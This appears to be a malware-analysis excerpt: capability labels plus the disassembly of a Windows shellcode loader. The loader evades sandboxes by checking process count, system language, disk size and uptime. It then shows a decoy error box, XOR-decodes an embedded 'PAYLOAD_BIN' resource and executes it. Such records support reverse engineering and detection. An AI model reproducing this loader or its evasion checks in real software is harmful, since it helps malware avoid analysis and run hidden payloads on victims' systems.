Function at 0x140001e70
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions
Identify system language via api

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x14003a030]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor esi, esi
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001efd
xor edx, edx
mov dword [rsp + 0x60], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x64]
call fcn.14000e090
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002174
nop dword [rax]
lea rdx, [rsp + 0x60]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001ee0
cmp ebx, 0x50
jle 0x140002174
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x14000215d
lea rcx, str.Chinese
call fcn.140001080
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, str..PhysicalDrive0
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x5c]
imul rax, rcx
mov ecx, dword [rsp + 0x54]
imul rax, rcx
imul rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x14000217f
lea rcx, str.Error
call fcn.140001080
call fcn.140001b90
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x36ee80
jb 0x14000218a
mov qword [rsp + 0x2c0], rbp
lea r8, str.ERROR
mov r9d, 0x10
mov qword [rsp + 0x2c8], r14
lea rdx, [0x1400342b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1400019b0
lea r8, str.PAYLOAD_BIN
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x1000
mov ebx, eax
xor ecx, ecx
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.14000d860
mov ecx, esi
test ebx, ebx
je 0x14000210d
cmp ebx, 0x40
jb 0x1400020f2
movdqa xmm2, xmmword [str.NNNNNNNNNNNNNNNNRRRRRRRRRRRRRRRR_]
mov eax, ebx
movdqa xmm3, xmmword [0x1400347c0]
and eax, 0xffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rsi + rbp]
lea rsi, [rsi + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsi + rbp - 0x30]
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsi + rbp - 0x20]
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x20], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsi + rbp - 0x10]
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x10], xmm1
cmp ecx, eax
jb 0x140002090
cmp ecx, ebx
jae 0x14000210d
movsxd rax, ecx
add rax, rbp
sub ebx, ecx
mov ecx, ebx
xor byte [rax], 0x1c
lea rax, [rax + 1]
sub rcx, 1
jne 0x140002100
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r14, qword [rsp + 0x2c8]
xor eax, eax
mov rbp, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14000b9e0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rcx, str.Error
call fcn.140001080
mov ecx, 1
call fcn.140012160
int3
mov ecx, 1
call fcn.140012160
int3
mov ecx, 1
call fcn.140012160
int3
mov ecx, 1
call fcn.140012160
int3